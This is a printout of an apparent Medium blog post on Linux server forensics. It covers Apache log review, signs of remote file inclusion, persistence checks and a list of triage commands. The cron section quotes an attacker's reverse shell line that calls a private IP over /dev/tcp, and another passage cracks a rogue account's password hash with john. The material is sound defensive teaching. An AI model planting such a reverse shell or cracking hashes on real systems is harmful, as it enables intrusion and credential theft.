17/1/23, 08:03 Linux Server Forensics.

Before starting the Linux Server… | by Saniye Nur | Medium

Saniye Nur Follow

Nov 9, 2022 · 7 min read · Listen

Linux Server Forensics

Before starting the Linux Server Analysis, the event we will go into is to
examine a web server with Linux installed and additionally to look at Apache
Log Analysis, Web Server Analysis, possible persistence mechanisms.

Here we will try to see potential web attacks by making inferences from both
analysis in Linux and related web design.
The most important attack surface on the server is probably the web service;
fortunately, the Apache access log keeps a history of all requests sent to the
web server and includes:

1- source address
2- response code and length
3- user agent

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 1/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

We hooked up to our test machine.

The /var/log directory is always the first place I look when reviewing. For the
subject I mentioned above, I go directly under the apache logs.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 2/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Access logs of course draw attention and I check. There is a lot of data, I
need to do some customization.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 3/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 4/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

What I mean by customization is the contains ones that catch my attention

while browsing the logs in general, like nmap like dirbuster.

Or we can try to see general scanners with this command directly.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 5/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Now the interface of the web is as follows. For example, here I can easily
find which directory will allow the user to upload files.

So, can I find which IP addresses upload files to this server?

Yes

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 6/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

If I look at the GET and POST requests in the access logs, I can see the IP
addresses. Along with the response codes.
Among these requests, I can go to every directory that attracts my attention,
or I can look at it from the terminal. One of the points that caught my
attention was the security.md file under resources/development/2021/docs/
and when I opened it and looked at it,

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 7/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

When I focused on the subject that caught my attention, when I continued to

examine from the server terminal, look what I saw, it seems that the attacker
entered with Remote File Inclusion (RFI).

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 8/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Now, possible persistences that I will continue to check:

1- cron
2- services/systemd
3- bashrc

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 9/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

4- Kernel modules
5- SSH keys

You know their locations by heart because you are constantly struggling, but
you don’t always have to know them by heart, of course, and you can find the
path and directory in linux with the locate command directly.

Get unlimited access

Search Medium Write

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 10/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

64

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 11/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 12/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

As I said, you can tamper with the directory you want as much as you want.
The reason why I always say this is because linux systems are managed as
command line (there are customized ones), anomalies on the system cannot
be understood as easily as in Windows.

It is important to spend as much time in the directories as possible in order

to dominate the directories and to solve the complexity of linux in this
regard.
You will see that the correct path is /etc/crontab .

The trailing sh -i >& /dev/tcp/192.168.56.206/1234 0>&1

has caught your attention.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 13/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

The root2 user also catches my attention and I’m starting to look at the
following locations, which are one of the few places in linux where account
information is kept.
1- /etc/passwd — contains the names of most of the accounts on the system.
It should only have read privileges and do not contain password hashes.
2- /etc/shadow — contains names but must also contain password hashes.
Must have strict permissions.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 14/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

There could also be more data in /etc/passwd, my goal is to find root2 I said
with grep just get the root2 hash and now I’m going to use hash-identifier to
find out what hash it is.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 15/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

It says the hash-identifier algorithm is DES, let’s break it down then…

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 16/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

We cracked it with the john tool and found the second root account.
Now we are in the apache log analysis. The log files are smaller this time, we
can say that the attacker is a little cunning.

As we spotted above, obvious user agents may not always be visible.

However, there are several other ways to identify traffic originating from
browsers. The time between each request is a good metric for most tools.
You can also identify individual vehicles from signatures left in requests; for
example, when performing certain enumeration tasks, Nmap sends HTTP
requests with a random non-standard method. More aggressive means can
also be identified from the number of requests sent during any given attack;

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 17/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Bruteforce tools and tools can also be detected in this way.

A poorly designed site can easily deliver important information without the
need for aggressive tools. In this case, the site uses sequential IDs for all the
products it produces. It easily identifies each product or finds the total size
of the product database by incrementing the product ID until a 404 error
occurs.

Now let’s look at the apache access logs on the following server again and
you will understand what I mean.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 18/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

I’m still looking for IP 192.168.56,206 because this absurd HTTP request
confused me. “\x16\x03” 400 0 “-” “-” indicates nmap.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 19/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

If there are any backdoors, SSH keys will show me that, it’s another excellent
way to protect access, so additions to the authorized_keys file might be
worth looking into.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 20/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 21/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Right guess.

In addition, the Program Execution history is another point worth looking

into.
Of course, adding a public key to root’s authorized_keys requires root-level
privileges, so it might be best to look for further evidence of privilege
escalation. Overall, Linux stores a very small amount of program execution
history compared to Windows, but there are still a few valuable resources,
including:

1. bash_history — Contains a history of commands run in Bash; this file is

well known, easy to edit, and is sometimes disabled by default.

2. auth.log — It contains a history of all commands run using sudo.

3. history.log (apt) — Contains a history of all tasks performed using apt —

useful for tracking program installation and uninstallation.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 22/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

systemd services also keep logs in the log system; these logs are kept in
binary format and must be read by a utility like Journalctl. This binary
format comes with some advantages; however, each journal is capable of
self-verification and is more difficult to change.

The malware can also maintain persistence using systemd, as scripts

running under systemd run in the background and can be restarted when
the system starts or the script crashes. It is also relatively easy to hide
malicious scripts as they can interfere with other services. systemd services
are defined in .service files, which may include:

1. Command that runs every time the service starts

2. User running the service

3. Optional description

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 23/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

In this case, the malware is pretty obvious as it appears to be printing errors

on the screen, so there’s no way it’s dormant. Running systemctl will list all
the services installed on the system. And very similar to Windows, there are
usually a lot of them. Might be worth adding to the command as it will
reduce the list to running services. When the name of a suspicious service is
found, more information can be extracted by running it. — type=service —
state=activesystemctl status <service name>

OS Version Information

cat /etc/os-relase

User Accounts

cat /etc/passwd| column -t -s :

Group Information

cat /etc/group

Login Information

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 24/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Failed logins: /var/log/btmp

Historical data of logins: /var/log/wtmp

sudo last -f /var/log/wtmp

System Configuration Information

Hostname:

cat /etc/hostname

TimeZone

cat /etc/timezone

Network Configuration

cat /etc/network/interfaces ip address show

Active Network Connection

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 25/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

netstat -natp

Aktive Running Processes

ps aux

DNS Information

cat /etc/hosts
cat /etc/resolv.conf

Started Services

ls /etc/init.d/

Sudo Execution History

cat /var/log/auth.log* |grep -i COMMAND|tail

Syslog

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 26/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

cat /var/log/syslog* | head

Auth Log

cat /var/log/auth.log* |head

We have touched on the linux forensics side superficially. In the next article,
we will look at Linux Forensic in depth.

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 27/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

Linux Forensics Linux Server Forensics Digital Forensics Adli Bilisim

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 28/29
17/1/23, 08:03 Linux Server Forensics. Before starting the Linux Server… | by Saniye Nur | Medium

https://snynr.medium.com/linux-server-forensics-d23ab0a20127 29/29